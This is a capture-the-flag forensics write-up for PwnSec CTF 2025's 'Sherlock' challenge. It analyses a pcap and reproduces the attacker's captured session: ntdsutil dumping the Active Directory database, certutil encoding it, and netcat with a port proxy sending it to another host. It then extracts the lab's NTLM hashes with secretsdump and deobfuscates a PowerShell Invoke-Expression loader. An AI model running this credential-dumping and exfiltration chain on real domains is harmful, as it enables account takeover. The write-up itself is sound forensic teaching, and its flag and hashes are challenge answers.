Sherlock : PwnSec CTF 2025 - Moussa Mousselmal

let’s get straight into it, you have a 44 mb pcap file, and the flag is splitted into two parts:

part 1: What is the username of the first compromised user?
part 2: What is the final compromised user’s NTLM hash?
part 3: we have to find ourselves

opening the pcap file and filtering the pcap with http we can see a NTLM_AUTH request to user poppy.evans that has 200 response code, indicating a successful authentication.

after that you’ll notice a GET request to /nc64.exe which is likely a netcat binary, following the tcp stream after the download you ll find an exfil traffic:

1
Windows PowerShell
2
Copyright (C) Microsoft Corporation. All rights reserved.
3

4
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
5

6
PS C:\temp>
7
whoami
8

9
whoami
10
pwnsec\poppy.evans
11
PS C:\temp>
12
hostname
13

14
hostname
15
WIN-GF44DNL461J
16
PS C:\temp>
17
ls
18

19
ls
20

21

22
    Directory: C:\temp
23

24

25
Mode                 LastWriteTime         Length Name
26
----                 -------------         ------ ----
27
-a----         9/16/2025  12:53 AM          45272 nc.exe
28

29

30
PS C:\temp>
31
cd ../users
32

33
cd ../users
34
PS C:\users>
35
ls
36

37
ls
38

39

40
    Directory: C:\users
41

42

43
Mode                 LastWriteTime         Length Name
44
----                 -------------         ------ ----
45
d-----         9/16/2025  12:14 AM                Administrator
46
d-----         9/15/2025  11:28 PM                poppy.evans
47
d-r---         9/11/2025  12:17 AM                Public
48

49

50
PS C:\users>
51
cd poppy.evans
52

53
cd poppy.evans
54
PS C:\users\poppy.evans>
55
ls
56

57
ls
58

59

60
    Directory: C:\users\poppy.evans
61

62

63
Mode                 LastWriteTime         Length Name
64
----                 -------------         ------ ----
65
d-r---          5/8/2021   1:20 AM                Desktop
66
d-r---         9/16/2025  12:50 AM                Documents
67
d-r---          5/8/2021   1:20 AM                Downloads
68
d-r---          5/8/2021   1:20 AM                Favorites
69
d-r---          5/8/2021   1:20 AM                Links
70
d-r---          5/8/2021   1:20 AM                Music
71
d-r---          5/8/2021   1:20 AM                Pictures
72
d-----          5/8/2021   1:20 AM                Saved Games
73
d-r---          5/8/2021   1:20 AM                Videos
74

75

76
PS C:\users\poppy.evans>
77
netsh interface portproxy add v4tov4 listenport=8099 listenaddress=0.0.0.0 connectport=8888 connectaddress=192.168.1.91
78

79
netsh interface portproxy add v4tov4 listenport=8099 listenaddress=0.0.0.0 connectport=8888 connectaddress=192.168.1.91
80

81
PS C:\users\poppy.evans>
82
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
83

84
ntdsutil "ac i ntds" "ifm" "create full c:\temp" q q
85
C:\Windows\system32\ntdsutil.exe: ac i ntds
86
Active instance set to "ntds".
87
C:\Windows\system32\ntdsutil.exe: ifm
88
ifm: create full c:\temp
89
*** Error: target folder c:\temp is not empty.
90
ifm: q
91
C:\Windows\system32\ntdsutil.exe: q
92
PS C:\users\poppy.evans>
93
ntdsutil "ac i ntds" "ifm" "create full c:\tmp" q q
94

95
ntdsutil "ac i ntds" "ifm" "create full c:\tmp" q q
96
C:\Windows\system32\ntdsutil.exe: ac i ntds
97
Active instance set to "ntds".
98
C:\Windows\system32\ntdsutil.exe: ifm
99
ifm: create full c:\tmp
100
Creating snapshot...
101
Snapshot set {6c2ae240-f648-4761-9611-f208d5c1cf79} generated successfully.
102
Snapshot {bba4c8bd-b5ba-41a1-a8d4-78c002aed46f} mounted as C:\$SNAP_202509160054_VOLUMEC$\
103
Snapshot {bba4c8bd-b5ba-41a1-a8d4-78c002aed46f} is already mounted.
104

105
Initiating DEFRAGMENTATION mode...
106
     Source Database: C:\$SNAP_202509160054_VOLUMEC$\Windows\NTDS\ntds.dit
107
     Target Database: c:\tmp\Active Directory\ntds.dit
108

109
                  Defragmentation  Status (complete)
110

111
          0    10   20   30   40   50   60   70   80   90  100
112
          |----|----|----|----|----|----|----|----|----|----|
113
          ...................................................
114

115
Copying registry files...
116
Copying c:\tmp\registry\SYSTEM
117
Copying c:\tmp\registry\SECURITY
118
Snapshot {bba4c8bd-b5ba-41a1-a8d4-78c002aed46f} unmounted.
119
IFM media created successfully in c:\tmp
120
ifm: q
121
C:\Windows\system32\ntdsutil.exe: q
122
PS C:\users\poppy.evans>
123
certutil -encode "c:\temp\Active Directory\ntds.dit" "c:\tmp\dd8d9s.b64"
124

125
certutil -encode "c:\temp\Active Directory\ntds.dit" "c:\tmp\dd8d9s.b64"
126
DecodeFile returned The system cannot find the path specified. 0x80070003 (WIN32: 3 ERROR_PATH_NOT_FOUND)
127
CertUtil: -encode command FAILED: 0x80070003 (WIN32: 3 ERROR_PATH_NOT_FOUND)
128
CertUtil: The system cannot find the path specified.
129
PS C:\users\poppy.evans>
130
certutil -encode "c:\temp\Active Directory\ntds.dit" "c:\tmp\dd8d9s.b64"
131

132
certutil -encode "c:\temp\Active Directory\ntds.dit" "c:\tmp\dd8d9s.b64"
133
DecodeFile returned The system cannot find the path specified. 0x80070003 (WIN32: 3 ERROR_PATH_NOT_FOUND)
134
CertUtil: -encode command FAILED: 0x80070003 (WIN32: 3 ERROR_PATH_NOT_FOUND)
135
CertUtil: The system cannot find the path specified.
136
PS C:\users\poppy.evans>
137
certutil -encode "c:\tmp\Active Directory\ntds.dit" "c:\tmp\dd8d9s.b64"
138

139
certutil -encode "c:\tmp\Active Directory\ntds.dit" "c:\tmp\dd8d9s.b64"
140
Input Length = 25165824
141
Output Length = 34603064
142
CertUtil: -encode command completed successfully.
143
PS C:\users\poppy.evans>
144
certutil -encode "c:\tmp\REGISTRY\SYSTEM" "c:\tmp\n8vv63.b64"
145

146
certutil -encode "c:\tmp\REGISTRY\SYSTEM" "c:\tmp\n8vv63.b64"
147
Input Length = 15728640
148
Output Length = 21626936
149
CertUtil: -encode command completed successfully.
150
PS C:\users\poppy.evans>
151
echo 'hehe hacked'
152

153
echo 'hehe hacked'
154
hehe hacked
155
PS C:\users\poppy.evans>
156
cat c:\tmp\dd8d9s.b64 | .\nc.exe 127.0.0.1 8099
157

158
cat c:\tmp\dd8d9s.b64 | .\nc.exe 127.0.0.1 8099
159
.\nc.exe : The term '.\nc.exe' is not recognized as the name of a cmdlet, function, script file, or operable program.
160
Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
161
At line:1 char:25
162
+ cat c:\tmp\dd8d9s.b64 | .\nc.exe 127.0.0.1 8099
163
+                         ~~~~~~~~
164
    + CategoryInfo          : ObjectNotFound: (.\nc.exe:String) [], CommandNotFoundException
165
    + FullyQualifiedErrorId : CommandNotFoundException
166

167
PS C:\users\poppy.evans>
168
cd ../../temp
169

170
cd ../../temp
171
PS C:\temp>
172
ls
173

174
ls
175

176

177
    Directory: C:\temp
178

179

180
Mode                 LastWriteTime         Length Name
181
----                 -------------         ------ ----
182
-a----         9/16/2025  12:53 AM          45272 nc.exe
183

184

185
PS C:\temp>
186
cat c:\tmp\dd8d9s.b64 | .\nc.exe 127.0.0.1 8099
187

188
cat c:\tmp\dd8d9s.b64 | .\nc.exe 127.0.0.1 8099
189
PS C:\temp>
190
cat c:\tmp\n8vv63.b64 | .\nc.exe 127.0.0.1 8099
191

192
cat c:\tmp\n8vv63.b64 | .\nc.exe 127.0.0.1 8099
193
PS C:\temp>
194
echo 'see you losers'
195

196
echo 'see you losers'
197
see you losers
198
PS C:\temp>

we can see that the attackered exfiltrated the ntds.dit and SYSTEM registry hive by encoding them to base64 and sending them over netcat to his machine listening on port 8888.

let’s recover the hashes from the ntds.dit and SYSTEM hive using impacket-secretsdump: filter for port 8888 to get the exfiltrated files and save them as ntds.b64 and system.b64 respectively, then decode them using base64:

1
import base64
2

3

4
def decode_from_b64(input_string):
5
    return base64.b64decode(input_string)
6

7

8
with open("ntds.b64", "r") as file:
9
    ntds_txt = file.read()
10

11
ntds_lines = ntds_txt.splitlines()
12
ntds_lines.pop(len(ntds_lines) - 1)
13
ntds_lines.pop(0)
14
ntds_txt = "".join(ntds_lines).strip()
15
ntds_bytes = decode_from_b64(ntds_txt)
16
with open("ntds.dit", "wb") as file:
17
    file.write(ntds_bytes)
18
print("[*] Decoded NTDS.dit written to disk.")
19

20
with open("system.b64", "r") as file:
21
    system_txt = file.read()
22
system_lines = system_txt.splitlines()
23
system_lines.pop(len(system_lines) - 1)
24
system_lines.pop(0)
25
system_txt = "".join(system_lines).strip()
26
system_bytes = decode_from_b64(system_txt)
27
with open("SYSTEM", "wb") as file:
28
    file.write(system_bytes)
29
print("[*] Decoded SYSTEM hive written to disk.")

now we can use impacket to extract the hashes:

1
    (env) ➜  impacket git:(master)  python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
2
    Impacket v0.14.0.dev0+20251114.155318.8925c2ce - Copyright Fortra, LLC and its affiliated companies
3

4
    [*] Target system bootKey: 0x1f9bdcb200506dd648138df83d3c9351
5
    [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
6
    [*] Searching for pekList, be patient
7
    [*] PEK # 0 found and decrypted: 957a612aac3820aa5fa1907d7e9647f5
8
    [*] Reading and decrypting hashes from ../../pwnsec/public(1)/Sherlock/ntds.dit
9
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:b614d09260faaf8bce9cb239cfa1ef05:::
10
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
11
    WIN-GF44DNL461J$:1000:aad3b435b51404eeaad3b435b51404ee:c14746c4ff5cf8365e6bec20c00605db:::
12
    krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a2df5c2cfa341cd95a06fdc07a724cf8:::
13
    pwnsec.team\sienna.williams:1104:aad3b435b51404eeaad3b435b51404ee:792c20bc9c4a647b00609c9cd2d9d617:::
14
    pwnsec.team\alex.thomas:1105:aad3b435b51404eeaad3b435b51404ee:10602252e2d10cf3d6363d6afce8280d:::
15
    pwnsec.team\poppy.evans:1106:aad3b435b51404eeaad3b435b51404ee:5ebce04374bc98c0293008e9045975eb:::
16
    pwnsec.team\kujen.svc:1111:aad3b435b51404eeaad3b435b51404ee:c20e364466f8594bda0a1cb60693e0a1:::
17
    [*] Kerberos keys from ../../pwnsec/public(1)/Sherlock/ntds.dit
18
    Administrator:aes256-cts-hmac-sha1-96:4dfa70904458e8655c50389ca10b8e9289360b5bdc0af86f141a761124fc0f6a
19
    Administrator:aes128-cts-hmac-sha1-96:e1fca66e8d462d9b323751ddf62216ee
20
    Administrator:des-cbc-md5:1fa7f72540fe7983
21
    WIN-GF44DNL461J$:aes256-cts-hmac-sha1-96:11e8d765b48957f2cbfd83bf4c10517449164ddda088470cd57570074fd5c0f1
22
    WIN-GF44DNL461J$:aes128-cts-hmac-sha1-96:08feab0308b8933ea1f02191b887010b
23
    WIN-GF44DNL461J$:des-cbc-md5:eabc348557258557
24
    krbtgt:aes256-cts-hmac-sha1-96:769499f20d9ee03a8bd50992c19a560d424ffd311a4de72668a2e1cd702d5536
25
    krbtgt:aes128-cts-hmac-sha1-96:a6b675ac124b318384ff05c94f9e37f2
26
    krbtgt:des-cbc-md5:31d073b6abbcb50e
27
    pwnsec.team\sienna.williams:aes256-cts-hmac-sha1-96:340746e2b25381bbd36383b4c6d768b6df53edabb183695d5b9533b87e75fdb4
28
    pwnsec.team\sienna.williams:aes128-cts-hmac-sha1-96:58fad49f5da4530e1c3431c13df6edf7
29
    pwnsec.team\sienna.williams:des-cbc-md5:c7b3b686ae9de915
30
    pwnsec.team\alex.thomas:aes256-cts-hmac-sha1-96:68d5a521f71a27875e7c684f52a5b2d922a537f0aa1eb60dde0afc0e54a4c734
31
    pwnsec.team\alex.thomas:aes128-cts-hmac-sha1-96:53e8b54fc560509ee7ee0f8081ed5db4
32
    pwnsec.team\alex.thomas:des-cbc-md5:d3f773b6a4251a58
33
    pwnsec.team\poppy.evans:aes256-cts-hmac-sha1-96:ea8ebadfa3c79e423abf23ac4050abcfb6b6544b60bdd3cfc8e5b9d046625d23
34
    pwnsec.team\poppy.evans:aes128-cts-hmac-sha1-96:97dd01c90fb0b5aef5411c3ce9f15632
35
    pwnsec.team\poppy.evans:des-cbc-md5:402c9b3bdf2c10ea
36
    pwnsec.team\kujen.svc:aes256-cts-hmac-sha1-96:442265438a6fafc2f46c4f2b14d4d562c55115d83bbceaa9e15480fde4f52581
37
    pwnsec.team\kujen.svc:aes128-cts-hmac-sha1-96:e468dea1d141cf4484c0046394c3ded5
38
    pwnsec.team\kujen.svc:des-cbc-md5:fba813c8bf97345b
39
    [*] Cleaning up...
40
    (env) ➜  impacket git:(master)

back to the pcap, when we filter for http and start from the end we can see a successful authentication to user alex.thomas so the second answer is its nt hash: 10602252e2d10cf3d6363d6afce8280d
Now that we have the NT hashes, we can decrypt the WinRM (WSMan) traffic. NTLMv2 secures the session using a key derived from the user’s NT hash, so each authenticated session must be decrypted with the correct NT hash. To do this, we use the WinRM decryption script from this Gist. The original script is designed to stop when it encounters traffic that cannot be decrypted.
Since our pcap contains multiple authenticated sessions, we remove the raise Exception line so the script simply skips packets it cannot decrypt and continues processing the rest.

1
 python3 decrypt-winrm.py -n 10602252e2d10cf3d6363d6afce8280d  /Sherlock/Sherlock.pcapng  > Sherlock/alex.txt

inside the `alex.txt` file we can see the decrypted winrm traffic, greping for `Invode-Command` and b64 decoding we get this powershell script:

1
$best64code = "AZ3EWN3QzN0Y2MmNjZzQmNycTZ2kjN3cjZ1UmN1YjN3UjN" ;
2
$base64 = $best64code.ToCharArray() ; [array]::Reverse($base64) ; $Stripped = -join $base64 ;
3

4
$Padded = switch ($Stripped.Length % 4) { 0 { $Stripped }; 1 { $Stripped.Substring(0, $Stripped.Length - 1) }; 2 { $Stripped + ("=" * 2) }; 3 { $Stripped + "=" }} ;
5
$LoadCode = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($Padded)) ;
6
$RandomSTR64 = '40bpN1clJHcYVULlt0b25Wa'.ToCharArray() ; [array]::Reverse($RandomSTR64) ; $iexbase64 = -join $RandomSTR64 ;
7
$iexbase64 = switch ($iexbase64.Length % 4) { 0 { $iexbase64 }; 1 { $iexbase64.Substring(0, $iexbase64.Length - 1) }; 2 { $iexbase64 + '=' * 2 }; 3 { $iexbase64 + '=' } } ;
8
$iexcmd = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($iexbase64)) ;
9
$aliasSTR64 = 'ARvNEO'.ToCharArray() ; [array]::Reverse($aliasSTR64) ; $aliasbase = -join $aliasSTR64 ;
10
$aliasbase = switch ($aliasbase.Length % 4) { 0 { $aliasbase }; 1 { $aliasbase.Substring(0, $aliasbase.Length - 1) }; 2 { $aliasbase + '=' * 2 }; 3 { $aliasbase + '=' } } ;
11

12
$aliasFinal = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($aliasbase)) ;
13
$NULl = nEw-AlIaS -Name $AliASFInal -vALue $IExCmD -FOrce ; &amp; $aLIAsfiNAl $lOAdCODe ;
14
if (!$?) { if($LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }</S>

comment the last two lines and add Write-Host "Executing payload... $aLIAsfiNAl $IExCmD $LoadCode" -ForegroundColor Yellow ; to print the decoded payload, running the modified script we get this payload:

1
Executing payload... 8CoD invoKe-EXpresSioN 6576656e5f77696e726d3f3f3f47475a7d

decoding the hex string 6576656e5f77696e726d3f3f3f47475a7d we get even_winrm???GGZ}

so the final flag is flag{poppy.evans_10602252e2d10cf3d6363d6afce8280d_even_winrm???GGZ}